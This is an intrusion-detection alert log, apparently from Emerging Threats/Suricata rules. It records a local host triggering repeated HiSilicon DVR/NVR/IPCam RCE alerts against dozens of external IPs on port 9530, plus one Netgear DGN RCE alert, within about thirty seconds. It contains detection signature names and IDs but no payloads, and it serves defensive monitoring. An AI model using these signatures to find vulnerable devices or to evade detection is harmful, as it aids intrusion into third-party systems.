ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 142.233.234.76

Timestamp:	05/16/24-16:39:02.749201
SID:	2030487
Source Port:	43694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 218.218.131.147

Timestamp:	05/16/24-16:38:50.004162
SID:	2030487
Source Port:	48016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 218.218.131.147

Timestamp:	05/16/24-16:38:50.004162
SID:	2030488
Source Port:	48016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.124.28.21

Timestamp:	05/16/24-16:39:03.280098
SID:	2030488
Source Port:	59276
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 137.0.247.155

Timestamp:	05/16/24-16:39:05.717201
SID:	2030488
Source Port:	35948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 213.127.75.137

Timestamp:	05/16/24-16:38:53.011328
SID:	2030487
Source Port:	43384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 213.127.75.137

Timestamp:	05/16/24-16:38:53.011328
SID:	2030488
Source Port:	43384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 137.0.247.155

Timestamp:	05/16/24-16:39:05.717201
SID:	2030487
Source Port:	35948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 115.24.153.181

Timestamp:	05/16/24-16:38:59.584418
SID:	2030487
Source Port:	60272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 115.24.153.181

Timestamp:	05/16/24-16:38:59.584418
SID:	2030488
Source Port:	60272
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.153.96.122

Timestamp:	05/16/24-16:39:14.518623
SID:	2030488
Source Port:	55680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 24.196.123.58

Timestamp:	05/16/24-16:39:12.406034
SID:	2030487
Source Port:	60128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 24.196.123.58

Timestamp:	05/16/24-16:39:12.406034
SID:	2030488
Source Port:	60128
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.153.96.122

Timestamp:	05/16/24-16:39:14.518623
SID:	2030487
Source Port:	55680
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.98.146.252

Timestamp:	05/16/24-16:39:05.675685
SID:	2030487
Source Port:	48634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.76.199.53

Timestamp:	05/16/24-16:39:03.288275
SID:	2030488
Source Port:	34700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 220.40.51.245

Timestamp:	05/16/24-16:39:16.580725
SID:	2030488
Source Port:	38694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.76.199.53

Timestamp:	05/16/24-16:39:03.288275
SID:	2030487
Source Port:	34700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 220.40.51.245

Timestamp:	05/16/24-16:39:16.580725
SID:	2030487
Source Port:	38694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.75.237.183

Timestamp:	05/16/24-16:38:57.303914
SID:	2030487
Source Port:	41722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.75.237.183

Timestamp:	05/16/24-16:38:57.303914
SID:	2030488
Source Port:	41722
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.98.146.252

Timestamp:	05/16/24-16:39:05.675685
SID:	2030488
Source Port:	48634
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.144.129.248

Timestamp:	05/16/24-16:39:16.610511
SID:	2030487
Source Port:	43672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.144.129.248

Timestamp:	05/16/24-16:39:16.610511
SID:	2030488
Source Port:	43672
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.79.156.216

Timestamp:	05/16/24-16:39:16.611843
SID:	2030487
Source Port:	59732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.42.40.139

Timestamp:	05/16/24-16:39:03.280169
SID:	2030488
Source Port:	55094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.79.156.216

Timestamp:	05/16/24-16:39:16.611843
SID:	2030488
Source Port:	59732
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.116.181.56

Timestamp:	05/16/24-16:38:57.409805
SID:	2030488
Source Port:	37618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.116.181.56

Timestamp:	05/16/24-16:38:57.409805
SID:	2030487
Source Port:	37618
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 81.134.185.77

Timestamp:	05/16/24-16:38:49.277920
SID:	2034576
Source Port:	34702
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 141.43.221.36

Timestamp:	05/16/24-16:39:16.582470
SID:	2030488
Source Port:	44208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.103.92.65

Timestamp:	05/16/24-16:39:08.127240
SID:	2030488
Source Port:	51828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.49.77.215

Timestamp:	05/16/24-16:39:14.513622
SID:	2030488
Source Port:	54824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 141.43.221.36

Timestamp:	05/16/24-16:39:16.582470
SID:	2030487
Source Port:	44208
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.42.40.139

Timestamp:	05/16/24-16:39:03.280169
SID:	2030487
Source Port:	55094
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.103.92.65

Timestamp:	05/16/24-16:39:08.127240
SID:	2030487
Source Port:	51828
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.49.77.215

Timestamp:	05/16/24-16:39:14.513622
SID:	2030487
Source Port:	54824
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 178.187.35.5

Timestamp:	05/16/24-16:39:08.041934
SID:	2030488
Source Port:	60348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 178.187.35.5

Timestamp:	05/16/24-16:39:08.041934
SID:	2030487
Source Port:	60348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 198.120.66.156

Timestamp:	05/16/24-16:39:14.491176
SID:	2030487
Source Port:	54716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.28.81.132

Timestamp:	05/16/24-16:38:59.520033
SID:	2030487
Source Port:	41428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.28.81.132

Timestamp:	05/16/24-16:38:59.520033
SID:	2030488
Source Port:	41428
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 72.129.24.166

Timestamp:	05/16/24-16:39:14.522058
SID:	2030488
Source Port:	45814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.87.64.150

Timestamp:	05/16/24-16:38:59.559321
SID:	2030488
Source Port:	45778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.87.64.150

Timestamp:	05/16/24-16:38:59.559321
SID:	2030487
Source Port:	45778
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 72.129.24.166

Timestamp:	05/16/24-16:39:14.522058
SID:	2030487
Source Port:	45814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 167.241.16.204

Timestamp:	05/16/24-16:38:50.081804
SID:	2030488
Source Port:	42756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 2.134.115.186

Timestamp:	05/16/24-16:38:57.434382
SID:	2030487
Source Port:	35846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 167.241.16.204

Timestamp:	05/16/24-16:38:50.081804
SID:	2030487
Source Port:	42756
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 2.134.115.186

Timestamp:	05/16/24-16:38:57.434382
SID:	2030488
Source Port:	35846
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 142.35.121.25

Timestamp:	05/16/24-16:39:08.126405
SID:	2030488
Source Port:	47830
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.29.219.36

Timestamp:	05/16/24-16:39:08.146023
SID:	2030488
Source Port:	35290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.29.219.36

Timestamp:	05/16/24-16:39:08.146023
SID:	2030487
Source Port:	35290
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 198.120.66.156

Timestamp:	05/16/24-16:39:14.491176
SID:	2030488
Source Port:	54716
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.71.131.127

Timestamp:	05/16/24-16:39:08.041738
SID:	2030488
Source Port:	39174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.71.131.127

Timestamp:	05/16/24-16:39:08.041738
SID:	2030487
Source Port:	39174
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 151.76.187.220

Timestamp:	05/16/24-16:38:57.303915
SID:	2030487
Source Port:	40710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 151.76.187.220

Timestamp:	05/16/24-16:38:57.303915
SID:	2030488
Source Port:	40710
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.198.66.255

Timestamp:	05/16/24-16:38:50.004146
SID:	2030488
Source Port:	50814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.199.187.116

Timestamp:	05/16/24-16:38:53.011497
SID:	2030488
Source Port:	43288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.199.187.116

Timestamp:	05/16/24-16:38:53.011497
SID:	2030487
Source Port:	43288
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.198.66.255

Timestamp:	05/16/24-16:38:50.004146
SID:	2030487
Source Port:	50814
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.244.115.203

Timestamp:	05/16/24-16:38:50.004286
SID:	2030487
Source Port:	46124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.244.115.203

Timestamp:	05/16/24-16:38:50.004286
SID:	2030488
Source Port:	46124
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 62.127.8.101

Timestamp:	05/16/24-16:39:08.042006
SID:	2030488
Source Port:	60346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 94.181.88.94

Timestamp:	05/16/24-16:39:03.276919
SID:	2030488
Source Port:	58070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 62.127.8.101

Timestamp:	05/16/24-16:39:08.042006
SID:	2030487
Source Port:	60346
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 184.220.4.213

Timestamp:	05/16/24-16:39:12.295356
SID:	2030487
Source Port:	35034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.3.215.10

Timestamp:	05/16/24-16:39:16.603128
SID:	2030487
Source Port:	40016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 94.181.88.94

Timestamp:	05/16/24-16:39:03.276919
SID:	2030487
Source Port:	58070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.3.215.10

Timestamp:	05/16/24-16:39:16.603128
SID:	2030488
Source Port:	40016
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.78.73.92

Timestamp:	05/16/24-16:38:59.557143
SID:	2030488
Source Port:	55198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 103.68.93.37

Timestamp:	05/16/24-16:39:02.725564
SID:	2030488
Source Port:	57218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 103.68.93.37

Timestamp:	05/16/24-16:39:02.725564
SID:	2030487
Source Port:	57218
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 58.106.4.100

Timestamp:	05/16/24-16:39:14.527294
SID:	2030487
Source Port:	53538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 58.106.4.100

Timestamp:	05/16/24-16:39:14.527294
SID:	2030488
Source Port:	53538
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.185.2.81

Timestamp:	05/16/24-16:38:59.558464
SID:	2030488
Source Port:	38912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 184.220.4.213

Timestamp:	05/16/24-16:39:12.295356
SID:	2030488
Source Port:	35034
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.209.149.114

Timestamp:	05/16/24-16:39:08.041122
SID:	2030487
Source Port:	37040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 40.164.138.229

Timestamp:	05/16/24-16:39:08.041904
SID:	2030487
Source Port:	34810
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 130.10.63.207

Timestamp:	05/16/24-16:38:59.609911
SID:	2030487
Source Port:	56426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.209.149.114

Timestamp:	05/16/24-16:39:08.041122
SID:	2030488
Source Port:	37040
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 40.164.138.229

Timestamp:	05/16/24-16:39:08.041904
SID:	2030488
Source Port:	34810
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.185.2.81

Timestamp:	05/16/24-16:38:59.558464
SID:	2030487
Source Port:	38912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.78.73.92

Timestamp:	05/16/24-16:38:59.557143
SID:	2030487
Source Port:	55198
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 130.10.63.207

Timestamp:	05/16/24-16:38:59.609911
SID:	2030488
Source Port:	56426
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.1.210.89

Timestamp:	05/16/24-16:38:57.306873
SID:	2030487
Source Port:	45726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 146.92.24.32

Timestamp:	05/16/24-16:39:05.699959
SID:	2030488
Source Port:	54536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.1.210.89

Timestamp:	05/16/24-16:38:57.306873
SID:	2030488
Source Port:	45726
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 146.92.24.32

Timestamp:	05/16/24-16:39:05.699959
SID:	2030487
Source Port:	54536
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 222.166.40.95

Timestamp:	05/16/24-16:39:12.403697
SID:	2030487
Source Port:	44358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 222.166.40.95

Timestamp:	05/16/24-16:39:12.403697
SID:	2030488
Source Port:	44358
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 140.190.139.234

Timestamp:	05/16/24-16:39:16.608392
SID:	2030488
Source Port:	39992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 140.190.139.234

Timestamp:	05/16/24-16:39:16.608392
SID:	2030487
Source Port:	39992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 196.186.222.246

Timestamp:	05/16/24-16:39:02.727996
SID:	2030488
Source Port:	60424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.148.163.71

Timestamp:	05/16/24-16:39:12.295300
SID:	2030487
Source Port:	55750
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 196.186.222.246

Timestamp:	05/16/24-16:39:02.727996
SID:	2030487
Source Port:	60424
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 189.22.185.109

Timestamp:	05/16/24-16:38:55.220859
SID:	2030488
Source Port:	51060
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 189.22.185.109

Timestamp:	05/16/24-16:38:55.220859
SID:	2030487
Source Port:	51060
Destination Port:	9530
